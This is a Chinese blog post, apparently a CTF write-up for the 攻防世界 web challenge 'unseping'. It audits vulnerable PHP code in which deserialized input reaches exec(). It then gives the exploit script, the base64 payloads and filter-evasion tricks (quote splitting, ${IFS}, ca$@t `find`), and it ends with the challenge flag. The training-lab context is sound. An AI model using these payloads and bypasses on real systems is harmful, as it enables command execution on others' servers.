攻防世界WEB(新手模式)1-20-unseping

发布于:2025-08-07 ⋅ 阅读:(14) ⋅ 点赞:(0)

好了咯,定睛一看php反序列化的题。那首先第一步我们肯定是审一下代码

<?php
highlight_file(__FILE__);  // 显示当前文件的源代码

class ease{
    
    private $method;  // 存储要调用的方法名
    private $args;    // 存储方法调用的参数数组
    
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    // 析构函数 - 对象销毁时自动调用
    function __destruct(){
        if (in_array($this->method, array("ping"))) {  // 检查method是否在允许列表中(目前只有"ping")
            call_user_func_array(array($this, $this->method), $this->args);  // 调用指定方法
        }
    } 
 
    // ping方法 - 执行系统命令
    function ping($ip){
        exec($ip, $result);  // 执行系统命令,存在命令注入风险
        var_dump($result);   // 输出命令执行结果
    }

    // WAF(Web应用防火墙)方法 - 过滤危险字符
    function waf($str){
        // 使用正则过滤危险字符和命令
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;  // 如果没有匹配到危险字符,返回原字符串
        } else {
            echo "don't hack";  // 否则输出警告
        }
    }
 
    // __wakeup魔术方法 - 反序列化时自动调用
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);  // 对每个参数进行WAF过滤
        }
    }   
}

// 从POST请求获取ctf参数
$ctf=@$_POST['ctf'];
// 对ctf参数进行base64解码后反序列化
@unserialize(base64_decode($ctf));
?>

那么其实代码的含义是只能调用ping方法,对于其他的一些命令会被过滤掉。

$ctf = @$_POST['ctf'];
@unserialize(base64_decode($ctf));

这两句的处理流程:

  1. base64_decode($ctf):将 base64 编码的字符串解码为原始数据。

  2. unserialize():将解码后的数据反序列化为 PHP 对象。

那么我们在写脚本的时候就需要先对命令转化成序列化格式,然后再进行base64加密。

脚本如下,ls命令需要绕过

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
$c = base64_encode($b);
echo "\n";
echo $c;
?>
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:4:"l""s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

ok当然你也可以选择不输出反序列化内容。

接下来我用的是bp,需要更改三个地方。

1、修改post请求,原先是get

2、添加头部,一遍服务器可以解析post数据

Content-Type: application/x-www-form-urlencoded

3、添加payload,记得加ctf=

那么现在,我们去查看flag_1s_here文件,只需要修改脚本中的命令就可以了。(把箭头删掉,替换成框框里面的)

$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));

同理得到,反序列化数据和base64编码后结果。

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

修改bp请求包

ok接着查看这个php文件就可以了,弹药想想则呢么绕过,因为上面代码中把我们的cat、tac命令都给过滤了。这里看了视频受到启发,不用拘泥于一定要cat某个文件,直接cat `find`读取所有文件。

【攻防世界】1061-unseping_哔哩哔哩_bilibili

生成对应paylaod

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319

就可以成功读取到flag

cyberpeace{483b2ff67ffb8137bc95b6d8f0a560a0}

OWASP就比较方便使用了~


网站公告

今日签到

点亮在社区的每一天
去签到